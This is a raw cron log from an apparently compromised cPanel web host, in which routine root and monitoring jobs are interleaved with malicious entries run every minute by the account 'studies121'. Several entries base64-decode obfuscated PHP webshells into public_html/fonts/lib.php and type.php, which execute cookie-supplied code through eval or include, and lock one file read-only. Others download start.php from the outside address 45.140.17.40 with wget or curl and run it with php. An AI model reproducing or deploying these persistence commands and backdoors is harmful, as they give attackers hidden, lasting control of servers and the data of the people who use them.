Aug 31 10:51:01 ip-184-168-122-23 CROND[16214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:51:01 ip-184-168-122-23 CROND[16212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:51:01 ip-184-168-122-23 CROND[16213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:52:01 ip-184-168-122-23 CROND[16334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:52:01 ip-184-168-122-23 CROND[16335]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:52:01 ip-184-168-122-23 CROND[16336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:52:01 ip-184-168-122-23 CROND[16338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:52:01 ip-184-168-122-23 CROND[16340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:53:01 ip-184-168-122-23 CROND[16469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:53:01 ip-184-168-122-23 CROND[16471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:53:01 ip-184-168-122-23 CROND[16472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:53:01 ip-184-168-122-23 CROND[16473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:54:01 ip-184-168-122-23 CROND[16575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:54:01 ip-184-168-122-23 CROND[16576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:54:01 ip-184-168-122-23 CROND[16581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:54:01 ip-184-168-122-23 CROND[16582]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:54:01 ip-184-168-122-23 CROND[16580]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:55:01 ip-184-168-122-23 CROND[16695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:55:01 ip-184-168-122-23 CROND[16697]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 10:55:01 ip-184-168-122-23 CROND[16698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:55:01 ip-184-168-122-23 CROND[16702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:55:01 ip-184-168-122-23 CROND[16699]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 10:55:01 ip-184-168-122-23 CROND[16704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:56:01 ip-184-168-122-23 CROND[16936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:56:01 ip-184-168-122-23 CROND[16938]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:56:01 ip-184-168-122-23 CROND[16940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:56:01 ip-184-168-122-23 CROND[16939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:56:01 ip-184-168-122-23 CROND[16941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:57:01 ip-184-168-122-23 CROND[17066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:57:01 ip-184-168-122-23 CROND[17068]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:57:01 ip-184-168-122-23 CROND[17069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:57:01 ip-184-168-122-23 CROND[17072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:58:01 ip-184-168-122-23 CROND[17181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:58:01 ip-184-168-122-23 CROND[17183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 10:58:01 ip-184-168-122-23 CROND[17186]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 10:58:01 ip-184-168-122-23 CROND[17185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:58:01 ip-184-168-122-23 CROND[17187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:59:01 ip-184-168-122-23 CROND[17290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:59:01 ip-184-168-122-23 CROND[17292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 10:59:01 ip-184-168-122-23 CROND[17293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:59:01 ip-184-168-122-23 CROND[17294]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:00:01 ip-184-168-122-23 CROND[17445]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 11:00:01 ip-184-168-122-23 CROND[17450]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:00:01 ip-184-168-122-23 CROND[17453]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 11:00:01 ip-184-168-122-23 CROND[17452]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 11:00:01 ip-184-168-122-23 CROND[17456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:00:01 ip-184-168-122-23 CROND[17457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:00:01 ip-184-168-122-23 CROND[17461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:00:01 ip-184-168-122-23 CROND[17462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:01:01 ip-184-168-122-23 CROND[17579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:01:01 ip-184-168-122-23 CROND[17581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:01:02 ip-184-168-122-23 CROND[17578]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 11:01:02 ip-184-168-122-23 CROND[17580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:01:02 ip-184-168-122-23 CROND[17583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:01:02 ip-184-168-122-23 CROND[17582]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 11:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[17582]: starting 0anacron
Aug 31 11:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[17600]: finished 0anacron
Aug 31 11:02:01 ip-184-168-122-23 CROND[17798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:02:01 ip-184-168-122-23 CROND[17800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:02:01 ip-184-168-122-23 CROND[17801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:02:01 ip-184-168-122-23 CROND[17802]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:02:01 ip-184-168-122-23 CROND[17803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:03:01 ip-184-168-122-23 CROND[17935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
